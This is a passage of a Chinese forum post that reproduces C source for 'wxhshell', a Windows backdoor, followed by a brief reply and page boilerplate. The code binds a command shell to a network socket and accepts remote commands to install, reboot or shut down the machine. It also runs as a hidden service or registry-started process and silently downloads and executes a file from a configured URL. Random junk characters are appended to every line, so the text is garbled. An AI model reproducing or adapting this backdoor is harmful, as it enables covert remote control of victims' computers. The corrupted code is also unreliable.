  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oA;ZDO06r  
  } mgb+HNH%q\  
  else { tCv}+7)   
F4IU2_CnPD  
    switch(cmd[0]) { )`mBvS.}  
  Sf2xI'  
  // 帮助 %Y9CZRY 9  
  case '?': { v z&88jt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x]IJ;  
    break; gOm8 O,  
  } {/qQ=$t  
  // 安装 O .jCDAP  
  case 'i': { z:&/O&?  
    if(Install()) D J7U6{KLq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U&#`5u6'j  
    else RSnBG"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WS%yV|e  
    break; /0XmU@B  
    } ^zfs8]QSf  
  // 卸载 #K!"/,d@>J  
  case 'r': { )^ PWr^  
    if(Uninstall()) 2AEVBkF;M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZzxWKIE'c  
    else eYevj[c;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YdN]Tqc  
    break; gJ^taUE  
    } 4zZ.v"laVM  
  // 显示 wxhshell 所在路径 '1~;^rU  
  case 'p': { s&XL{FE  
    char svExeFile[MAX_PATH]; o.s(=iG  
    strcpy(svExeFile,"\n\r"); U.Y7]#P:  
      strcat(svExeFile,ExeFile); `]a0z|2'!  
        send(wsh,svExeFile,strlen(svExeFile),0); ,Kt51vGi  
    break; Y8N+v+V/  
    } FuG;$';H75  
  // 重启 N*)O_Ki  
  case 'b': { }i^$ li@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `Q[NrOqe"  
    if(Boot(REBOOT)) +zEyCx=8H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hS&.-5v  
    else { 2UxmKp[  
    closesocket(wsh); #5iy^?N"w  
    ExitThread(0); lNTbd"}$:  
    } 5qFHy[I A  
    break; ZH~Wn#Wp  
    } DcE4r>8B  
  // 关机 |7${E^u  
  case 'd': { #aiI]'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &=XK:+  
    if(Boot(SHUTDOWN)) | /n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <,X=M6$0n  
    else { }y vH)q  
    closesocket(wsh); I+31:#d  
    ExitThread(0); ? 51i0~O=  
    } "]OROJGa  
    break; ,sT5TS q  
    } Y~?Z'uR  
  // 获取shell <kWkc|z BY  
  case 's': { "=V!-+*@G@  
    CmdShell(wsh); U2v;GIo$yU  
    closesocket(wsh); A2 $05a$%  
    ExitThread(0); <j3|Mh_(I  
    break; eHR]qy 0_X  
  } }7_$[r'_oI  
  // 退出 E()%IC/R  
  case 'x': { Ys|SacWC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rinTB|5  
    CloseIt(wsh); WQbjq}RfI  
    break; OL_jU2,fv  
    } fK2r6D9  
  // 离开 T6."j_  
  case 'q': { jmcys _N3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _]{LjJ!M  
    closesocket(wsh); (H\ `/%Bp  
    WSACleanup(); hDQk z qW  
    exit(1); i1'G_bo4F7  
    break; 5>ktr)]  
        } F!p;]B  
  } 12;YxW>[  
  } )uMv]  
d8U<V<H<  
  // 提示信息 O%haaL\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &gUa^5'#  
} 6Nt/>[  
  } *||Q_tlz  
TKgN31`  
  return; qw>vu7/z  
} "h|kf% W  
{s@ 0<!  
// shell模块句柄 5:C>:pAV  
int CmdShell(SOCKET sock) `5rfO6 ;  
{ w'E?L`c  
STARTUPINFO si; `zB bB^\`W  
ZeroMemory(&si,sizeof(si)); X{<taD2~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i"pOYZW1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )lz~Rt;1i  
PROCESS_INFORMATION ProcessInfo; sZEa8  
char cmdline[]="cmd"; j; R20xf0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ob}XeN(L3  
  return 0; ?%Ww3cU+J  
} `xx3JQv[  
z(EpJK=`_  
// 自身启动模式 \ 9iiS(e  
int StartFromService(void) "z;R"sv\  
{ Z0<s -eN:  
typedef struct .U44p*I  
{ x 4sIZe+  
  DWORD ExitStatus; Yl:[b{Py  
  DWORD PebBaseAddress; &%;n 9K  
  DWORD AffinityMask; ]!~?j3-k Q  
  DWORD BasePriority; 9qgs*]J  
  ULONG UniqueProcessId; 8n-Xt7z  
  ULONG InheritedFromUniqueProcessId; xR|^{y9n  
}   PROCESS_BASIC_INFORMATION; K=nDC.  
qxsHhyB_n;  
PROCNTQSIP NtQueryInformationProcess; Bq1}"092  
Yyr9Kj:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^FkB/j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )rt%.`  
6x=w-32+ y  
  HANDLE             hProcess; 9I;~P &  
  PROCESS_BASIC_INFORMATION pbi; &43c/T Sb  
ZoSyc--Bv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4y?n62N8$  
  if(NULL == hInst ) return 0; odC"#Rb  
F&m9G >r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O`"~AY&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gIusp917  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `9+R]C]z8  
LME&qKe5  
  if (!NtQueryInformationProcess) return 0; LHXR7Fjc  
w6)Q5H53)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R=&-nC5e  
  if(!hProcess) return 0; .4tu{\YX  
peT91b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,+4T7 UR  
H{,1-&>|  
  CloseHandle(hProcess); (V\N1T,f  
v'b%m8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N3aqNRwlk  
if(hProcess==NULL) return 0; @ =~k[o  
.`5|NUhN  
HMODULE hMod; U B~ -$\.  
char procName[255]; 9__B!vw:  
unsigned long cbNeeded; 79@CO6  
#+V4<o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cL ~WDW/  
-,T!/E  
  CloseHandle(hProcess); V,0$mBYa  
Wf"GA i  
if(strstr(procName,"services")) return 1; // 以服务启动 OKK Ko`RN  
sQkijo.  
  return 0; // 注册表启动 1[u{y{9 q  
} )lJAMZ 5xp  
\k`9s q  
// 主模块 ^v'0\(H?P  
int StartWxhshell(LPSTR lpCmdLine) CfP-oFHoQ  
{ *<y9.\z Y<  
  SOCKET wsl; =b>TFB=*N  
BOOL val=TRUE; |N% l at  
  int port=0; {FKr^)g  
  struct sockaddr_in door; +Ln^<!P  
~%g,Uypi  
  if(wscfg.ws_autoins) Install(); &]RE 5!  
Qg~w 3~  
port=atoi(lpCmdLine); Y6H?ZOq  
,>7dIJqzw  
if(port<=0) port=wscfg.ws_port; '@ Y@Fs  
)UF'y{K}  
  WSADATA data; 9N)I\lcY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %_4#WI  
F0z7".)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^Cp2#d*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N\B&|;-V  
  door.sin_family = AF_INET; h ~yTkN]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #)xlBq4cZ  
  door.sin_port = htons(port); 8tQL$CbO  
<nD@4J-A0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z EtsMU  
closesocket(wsl); aK;OzB)  
return 1; {}k3nJfE  
} k?&GL!?  
N<a %l J  
  if(listen(wsl,2) == INVALID_SOCKET) { K-#d1+P+  
closesocket(wsl); y$]<m+1  
return 1; /7Pqy2sgE  
} xatq  
  Wxhshell(wsl); lGWz  
  WSACleanup(); 6',Hs  
zQ{bMj<S  
return 0; eS@j? Y0y  
8P- ay<6  
} `vAcCahM  
rDbtT*vN  
// 以NT服务方式启动 JG'%HJ"D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >.`*KQdan  
{ vr4r,[B6y  
DWORD   status = 0; h+j^VsP zB  
  DWORD   specificError = 0xfffffff; z{\tn.67  
`14@dk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IJ2'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {TpbUj0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 76@W:L*J$J  
  serviceStatus.dwWin32ExitCode     = 0; `G\Gk|4; 2  
  serviceStatus.dwServiceSpecificExitCode = 0; ;#9?3O s  
  serviceStatus.dwCheckPoint       = 0; fv+ET:T%  
  serviceStatus.dwWaitHint       = 0; u%:`r*r  
.Vnb+o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4 xbWDu]  
  if (hServiceStatusHandle==0) return; =dA] nM  
-i{_$G8W/c  
status = GetLastError(); %E&oe $[B  
  if (status!=NO_ERROR) v/rBjUc+X  
{ dt "/4wCO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \L~^c1s3r  
    serviceStatus.dwCheckPoint       = 0; -_5Dk'R#`  
    serviceStatus.dwWaitHint       = 0; ZM-P  
    serviceStatus.dwWin32ExitCode     = status; :2S?|7U4  
    serviceStatus.dwServiceSpecificExitCode = specificError; L+%kibnY'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~^a>C  
    return; T[1iZ  
  } (:OMt2{r  
_xePh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1q-;+Pd;  
  serviceStatus.dwCheckPoint       = 0; *6AV^^  
  serviceStatus.dwWaitHint       = 0; QCZ88 \jX[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GLecBF+>F  
} /"D,gn1S*  
P}5bSQ( a3  
// 处理NT服务事件,比如:启动、停止 1mJUl x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JZ-@za6u  
{ ^-q{:lx  
switch(fdwControl) 7afG4 (<k  
{ U?f-/@fc  
case SERVICE_CONTROL_STOP: 83Rs1}*  
  serviceStatus.dwWin32ExitCode = 0; f|w;u!U(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AP,ZMpw  
  serviceStatus.dwCheckPoint   = 0; &-Ch>:[  
  serviceStatus.dwWaitHint     = 0; J(d+EjC  
  { ^;a .;wR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E7\K{]  
  } >JE+g[$@  
  return; b5=|1SjR  
case SERVICE_CONTROL_PAUSE: Bc }o3oc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [T =>QS@g  
  break; NN'pBU R  
case SERVICE_CONTROL_CONTINUE: |\uj(|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %M1l[\N  
  break; P7=`P  
case SERVICE_CONTROL_INTERROGATE: (["kbPma  
  break; pu/5#[MC)^  
}; ;.sYE/ZVi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^_@[1'^  
} ANBuX6q  
duEXp]f!  
// 标准应用程序主函数 J?m/u6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KMy"DVqE  
{ ynM~&]fk#k  
&t<g K D  
// 获取操作系统版本 +W[f>3`VQ  
OsIsNt=GetOsVer(); K1J |\!o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <lIm==U<-  
,hI$nF0}p  
  // 从命令行安装 vFdI?(c-  
  if(strpbrk(lpCmdLine,"iI")) Install(); @H#Fzoo.  
,}'8. f  
  // 下载执行文件 kEC^_sO"  
if(wscfg.ws_downexe) { "*<vE7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "}xIt)n%;  
  WinExec(wscfg.ws_filenam,SW_HIDE); +u$JMp  
} f?/OV*  
>qNpY(Ql  
if(!OsIsNt) { XV%R Mr6  
// 如果时win9x,隐藏进程并且设置为注册表启动 59 g//;35@  
HideProc(); H ;=^ W  
StartWxhshell(lpCmdLine); #6|ve?`I  
} 7O*Sg2B  
else Cn 5"zDK$  
  if(StartFromService()) ;E 9o%f:o  
  // 以服务方式启动 td%J.&K_*'  
  StartServiceCtrlDispatcher(DispatchTable); Pd&KAu|<`  
else )-5eIy  
  // 普通方式启动 )-[$m%  
  StartWxhshell(lpCmdLine); WZ6{9/%:  
SS%Bde&<{  
return 0; zo@vuB.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八